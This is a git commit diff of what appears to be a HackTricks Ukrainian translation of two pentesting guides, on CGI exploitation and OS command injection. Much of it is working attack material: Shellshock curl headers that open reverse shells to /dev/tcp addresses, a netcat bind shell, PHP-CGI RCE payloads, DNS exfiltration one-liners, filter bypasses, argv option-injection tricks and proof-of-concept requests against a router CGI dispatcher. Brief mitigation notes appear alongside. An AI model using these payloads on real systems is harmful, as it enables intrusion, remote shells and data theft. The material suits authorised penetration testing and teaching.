Translated ['', 'src/network-services-pentesting/pentesting-web/cgi.md',

This commit is contained in:
Translator 2025-10-04 09:52:23 +00:00
parent 4f2914e660
commit 42d0fe93af
2 changed files with 100 additions and 33 deletions

View File

@ -1,26 +1,30 @@
# CGI Pentesting
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
# Інформація
**CGI скрипти - це perl скрипти**, тому, якщо ви зламали сервер, який може виконувати _**.cgi**_ скрипти, ви можете **завантажити perl зворотний шелл** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **змінити розширення** з **.pl** на **.cgi**, надати **права на виконання** \(`chmod +x`\) і **доступ** до зворотного шеллу **з веб-браузера** для його виконання. Щоб перевірити наявність **CGI вразливостей**, рекомендується використовувати `nikto -C all` \(і всі плагіни\) ## Інформація
# **ShellShock** The **CGI scripts are perl scripts**, so, if you have compromised a server that can execute _**.cgi**_ scripts you can **upload a perl reverse shell** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **change the extension** from **.pl** to **.cgi**, give **execute permissions** \(`chmod +x`\) and **access** the reverse shell **from the web browser** to execute it.
In order to test for **CGI vulns** it's recommended to use `nikto -C all` \(and all the plugins\)
**ShellShock** - це **вразливість**, яка впливає на широко використовувану **Bash** командну оболонку в операційних системах на базі Unix. Вона націлена на можливість Bash виконувати команди, передані додатками. Вразливість полягає в маніпуляції **змінними середовища**, які є динамічними іменованими значеннями, що впливають на те, як процеси працюють на комп'ютері. Зловмисники можуть експлуатувати це, прикріплюючи **шкідливий код** до змінних середовища, який виконується при отриманні змінної. Це дозволяє зловмисникам потенційно зламати систему. ## **ShellShock**
Експлуатуючи цю вразливість, **сторінка може викидати помилку**. **ShellShock** — це вразливість, яка впливає на широко вживаний інтерпретатор командного рядка **Bash** у Unix-подібних операційних системах. Вона експлуатує здатність Bash виконувати команди, передані додатками. Вразливість полягає в маніпуляції **змінними середовища**, які є динамічними іменованими значеннями, що впливають на виконання процесів на комп'ютері. Атакувальники можуть прикріплювати до змінних середовища **шкідливий код**, який буде виконано при отриманні цієї змінної. Це дозволяє потенційно скомпрометувати систему.
Ви можете **знайти** цю вразливість, помітивши, що використовується **стара версія Apache** і **cgi_mod** \(з папкою cgi\) або використовуючи **nikto**. Експлуатація цієї вразливості може призвести до того, що **сторінка видасть помилку**.
## **Тест** Ви можете виявити цю вразливість, помітивши, що використовується стара версія **Apache** і **cgi_mod** (з папкою cgi) або за допомогою **nikto**.
Більшість тестів базуються на ехо чогось і очікують, що ця строка буде повернена у веб-відповіді. Якщо ви вважаєте, що сторінка може бути вразливою, шукайте всі cgi сторінки та тестуйте їх. ### **Тест**
Більшість тестів ґрунтуються на використанні `echo` для виведення певного рядка і очікуванні, що цей рядок буде повернутий у веб-відповіді. Якщо ви вважаєте, що сторінка може бути вразливою, знайдіть усі cgi-сторінки та протестуйте їх.
**Nmap** **Nmap**
```bash ```bash
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
``` ```
## **Curl \(відображений, сліпий та поза каналом\)** ## **Curl \(reflected, blind та out-of-band\)**
```bash ```bash
# Reflected # Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE' curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
@ -33,7 +37,7 @@ curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http:
```bash ```bash
python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi
``` ```
## Експлуатація ### Exploit
```bash ```bash
#Bind Shell #Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8 $ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
@ -47,23 +51,56 @@ curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' htt
> set rhosts 10.1.2.11 > set rhosts 10.1.2.11
> run > run
``` ```
# **Проксі \(MitM до запитів веб-сервера\)** ## Центральізовані CGI диспетчери (маршрутизація на один endpoint через селектор-параметри)
CGI створює змінну середовища для кожного заголовка в http запиті. Наприклад: "host:web.com" створюється як "HTTP_HOST"="web.com" Багато вбудованих веб-інтерфейсів мультиплексують десятки привілейованих дій за одним CGI endpoint (наприклад, `/cgi-bin/cstecgi.cgi`) і використовують селектор-параметр, такий як `topicurl=<handler>`, щоб скеровувати запит до внутрішньої функції.
Оскільки змінна HTTP_PROXY може бути використана веб-сервером. Спробуйте надіслати **заголовок**, що містить: "**Proxy: &lt;IP_attacker&gt;:&lt;PORT&gt;**" і якщо сервер виконує будь-який запит під час сесії. Ви зможете захопити кожен запит, зроблений сервером. Методика експлуатації цих маршрутизаторів:
# Старий PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\) - Перелічити імена handlers: scrape JS/HTML, brute-force з wordlists, або розпаковувати firmware і grep для рядків handler, які використовує dispatcher.
- Перевірити доступність без автентифікації: деякі handlers пропускають auth checks і доступні напряму.
- Зосередитись на handlers, які викликають system utilities або торкаються файлів; слабкі validators часто блокують лише кілька символів і можуть пропустити провідний дефіс `-`.
В основному, якщо cgi активний і php "старий" \(&lt;5.3.12 / &lt; 5.4.2\) ви можете виконати код. Generic exploit shapes:
Щоб експлуатувати цю вразливість, вам потрібно отримати доступ до деякого PHP файлу веб-сервера без надсилання параметрів \(особливо без надсилання символу "="\). ```http
Тоді, щоб протестувати цю вразливість, ви можете отримати доступ, наприклад, до `/index.php?-s` \(зверніть увагу на `-s`\) і **код програми з'явиться у відповіді**. POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Тоді, щоб отримати **RCE**, ви можете надіслати цей спеціальний запит: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` і **PHP код** для виконання в **тілі запиту. Приклад:** # 1) Option/flag injection (no shell metacharacters): flip argv of downstream tools
topicurl=<handler>&param=-n
# 2) Parameter-to-shell injection (classic RCE) when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;
# 3) Validator bypass → arbitrary file write in file-touching handlers
topicurl=setWizardCfg&<crafted_fields>=/etc/init.d/S99rc
```
Виявлення та посилення захисту:
- Слідкуйте за неаутентифікованими запитами до централізованих CGI endpoints з `topicurl`, встановленим на чутливі обробники.
- Позначайте параметри, що починаються з `-` (спроби argv option injection).
- Vendors: вимагайте аутентифікацію для всіх обробників, що змінюють стан, валідуйте за строгими allowlists/types/lengths, і ніколи не передавайте керовані користувачем рядки як параметри командного рядка.
## Старий PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\)
В основному, якщо cgi активний і php є "старим" \(&lt;5.3.12 / &lt; 5.4.2\) ви можете виконувати код.
Щоб експлуатувати цю вразливість, потрібно отримати доступ до деякого PHP файлу веб-сервера без передачі параметрів \(особливо без передачі символу "="\).
Тоді, щоб протестувати цю вразливість, ви можете, наприклад, звернутися до `/index.php?-s` \(зверніть увагу на `-s`\) і **вихідний код застосунку з'явиться у відповіді**.
Потім, щоб отримати **RCE**, ви можете надіслати цей спеціальний запит: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` і **PHP code** має бути виконаний у **тілі запиту. Приклад:**
```bash ```bash
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input" curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
``` ```
**Більше інформації про вразливість та можливі експлойти:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.** **Більше інформації про vuln та можливі exploits:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
## **Proxy \(MitM до запитів Web server\)**
CGI створює змінну середовища для кожного header у HTTP request. Наприклад: "host:web.com" створюється як "HTTP_HOST"="web.com"
Оскільки змінна HTTP_PROXY може використовуватися web server. Спробуйте надіслати **header**, що містить: "**Proxy: &lt;IP_attacker&gt;:&lt;PORT&gt;**" і якщо сервер виконуватиме будь-які запити під час сесії, ви зможете перехопити кожен запит, який робить сервер.
## **Посилання**
- [Unit 42 TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -4,11 +4,11 @@
## Що таке command Injection? ## Що таке command Injection?
A **command injection** дозволяє атакуючому виконувати довільні команди операційної системи на сервері, що хостить застосунок. У результаті застосунок та всі його дані можуть бути повністю скомпрометовані. Виконання цих команд зазвичай дозволяє атакуючому отримати несанкціонований доступ або контроль над середовищем застосунку та підлягаючою системою. A **command injection** дозволяє атакуючому виконувати довільні команди операційної системи на сервері, що розміщує застосунок. Внаслідок цього застосунок та всі його дані можуть бути повністю скомпрометовані. Виконання таких команд зазвичай дозволяє атакуючому отримати несанкціонований доступ або контроль над середовищем застосунку та підлягаючою системою.
### Контекст ### Контекст
Залежно від того, **куди вставляється ваш ввід**, може знадобитися **закрити контекст у лапках** (використовуючи `"` або `'`) перед командами. Залежно від **того, куди вставляється ваше введення**, можливо, доведеться **закрити контекст у лапках** (використовуючи `"` або `'`) перед командами.
## Command Injection/Execution ## Command Injection/Execution
```bash ```bash
@ -30,7 +30,7 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
> /var/www/html/out.txt #Try to redirect the output to a file > /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command < /etc/passwd #Try to send some input to the command
``` ```
### **Limition** Bypasses ### **Обмеження** Bypasses
Якщо ви намагаєтеся виконати **arbitrary commands inside a linux machine**, вам буде цікаво прочитати про ці **Bypasses:** Якщо ви намагаєтеся виконати **arbitrary commands inside a linux machine**, вам буде цікаво прочитати про ці **Bypasses:**
@ -47,7 +47,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
``` ```
### Параметри ### Параметри
Ось топ-25 параметрів, які можуть бути вразливі до code injection та подібних RCE вразливостей (з [link](https://twitter.com/trbughunters/status/1283133356922884096)): Нижче — топ-25 параметрів, які можуть бути вразливими до code injection та подібних RCE vulnerabilities (з [link](https://twitter.com/trbughunters/status/1283133356922884096)):
``` ```
?cmd={payload} ?cmd={payload}
?exec={payload} ?exec={payload}
@ -77,7 +77,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
``` ```
### Time based data exfiltration ### Time based data exfiltration
Витягнення даних: символ за символом Extracting data: char by char
``` ```
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s real 0m5.007s
@ -89,7 +89,7 @@ real 0m0.002s
user 0m0.000s user 0m0.000s
sys 0m0.000s sys 0m0.000s
``` ```
### Екфільтрація даних через DNS ### DNS based data exfiltration
На основі інструмента з `https://github.com/HoLyVieR/dnsbin`, також розміщеного на dnsbin.zhack.ca На основі інструмента з `https://github.com/HoLyVieR/dnsbin`, також розміщеного на dnsbin.zhack.ca
``` ```
@ -101,12 +101,12 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
``` ```
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il) $(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
``` ```
Онлайн-інструменти для перевірки DNS based data exfiltration: Онлайн інструменти для перевірки DNS based data exfiltration:
- dnsbin.zhack.ca - dnsbin.zhack.ca
- pingb.in - pingb.in
### Обхід фільтрації ### Filtering bypass
#### Windows #### Windows
``` ```
@ -122,7 +122,7 @@ powershell C:**2\n??e*d.*? # notepad
### Node.js `child_process.exec` vs `execFile` ### Node.js `child_process.exec` vs `execFile`
Під час аудиту бекендів на JavaScript/TypeScript ви часто зіткнетеся з Node.js `child_process` API. Під час аудиту серверної частини на JavaScript/TypeScript ви часто зустрінете Node.js `child_process` API.
```javascript ```javascript
// Vulnerable: user-controlled variables interpolated inside a template string // Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process'); const { exec } = require('child_process');
@ -130,9 +130,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay
/* … */ /* … */
}); });
``` ```
`exec()` запускає **shell** (`/bin/sh -c`), тому будь-який символ, який має спеціальне значення для shell (back-ticks, `;`, `&&`, `|`, `$()`, …) призведе до **command injection**, коли вхід користувача конкатенується в рядок. `exec()` запускає **shell** (`/bin/sh -c`), тому будь-який символ, що має спеціальне значення для shell (back-ticks, `;`, `&&`, `|`, `$()`, …) призведе до **command injection**, коли введення користувача конкатенується в рядок.
**Пом'якшення:** використовуйте `execFile()` (або `spawn()` без опції `shell`) і передавайте **кожен аргумент як окремий елемент масиву**, щоб shell не був задіяний: Запобігання: використовуйте `execFile()` (або `spawn()` без опції `shell`) і передавайте **кожен аргумент як окремий елемент масиву**, щоб shell не використовувався:
```javascript ```javascript
const { execFile } = require('child_process'); const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [ execFile('/usr/bin/do-something', [
@ -140,16 +140,45 @@ execFile('/usr/bin/do-something', [
'--payload', JSON.stringify(payload) '--payload', JSON.stringify(payload)
]); ]);
``` ```
Реальний випадок: *Synology Photos* ≤ 1.7.0-0794 був вразливим через неавторизовану подію WebSocket, яка розміщувала дані, контрольовані атакуючим, в `id_user`, які пізніше були вбудовані у виклик `exec()`, що призвело до RCE (Pwn2Own Ireland 2024). Real-world case: *Synology Photos* ≤ 1.7.0-0794 was exploitable through an unauthenticated WebSocket event that placed attacker controlled data into `id_user` which was later embedded in an `exec()` call, achieving RCE (Pwn2Own Ireland 2024).
## Brute-Force Detection List ### Ін'єкція аргументів/опцій через ведучий дефіс (argv, no shell metacharacters)
Не всі ін'єкції потребують shell metacharacters. Якщо застосунок передає неперевірені рядки як аргументи в системну утиліту (навіть через `execve`/`execFile` і без shell), багато програм все одно розбиратимуть будь-який аргумент, що починається з `-` або `--`, як опцію. Це дозволяє атакуючому змінювати режими, змінювати шляхи виводу або викликати небезпечну поведінку, навіть не потрапляючи в shell.
Типові місця, де це зустрічається:
- Вбудовані web UIs/CGI handlers, які формують команди на кшталт `ping <user>`, `tcpdump -i <iface> -w <file>`, `curl <url>`, тощо.
- Централізовані CGI маршрутизатори (наприклад, `/cgi-bin/<something>.cgi` з параметром-селектором типу `topicurl=<handler>`), де кілька handler-ів використовують той самий слабкий валідатор.
Що спробувати:
- Передавайте значення, що починаються з `-`/`--`, щоб утиліта, яка виконується, сприйняла їх як опції.
- Зловживайте опціями, що змінюють поведінку або записують файли, наприклад:
- `ping`: `-f`/`-c 100000` щоб навантажити пристрій (DoS)
- `curl`: `-o /tmp/x` щоб записати довільні шляхи, `-K <url>` щоб завантажити attacker-controlled конфігурацію
- `tcpdump`: `-G 1 -W 1 -z /path/script.sh` щоб досягти виконання після ротації в небезпечних обгортках
- Якщо програма підтримує `--` як кінець опцій, спробуйте обійти наївні пом'якшення, які додають `--` не в тому місці.
Generic PoC shapes against centralized CGI dispatchers:
```
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded
# Flip options in a downstream tool via argv injection
topicurl=<handler>&param=-n
# Unauthenticated RCE when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;
```
## Список виявлення Brute-Force
{{#ref}} {{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt
{{#endref}} {{#endref}}
## Джерела ## Посилання
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection) - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection) - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
@ -157,5 +186,6 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_inject
- [Extraction of Synology encrypted archives Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html) - [Extraction of Synology encrypted archives Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html)
- [PHP proc_open manual](https://www.php.net/manual/en/function.proc-open.php) - [PHP proc_open manual](https://www.php.net/manual/en/function.proc-open.php)
- [HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE202346818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html) - [HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE202346818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
- [Unit 42 TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/)
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}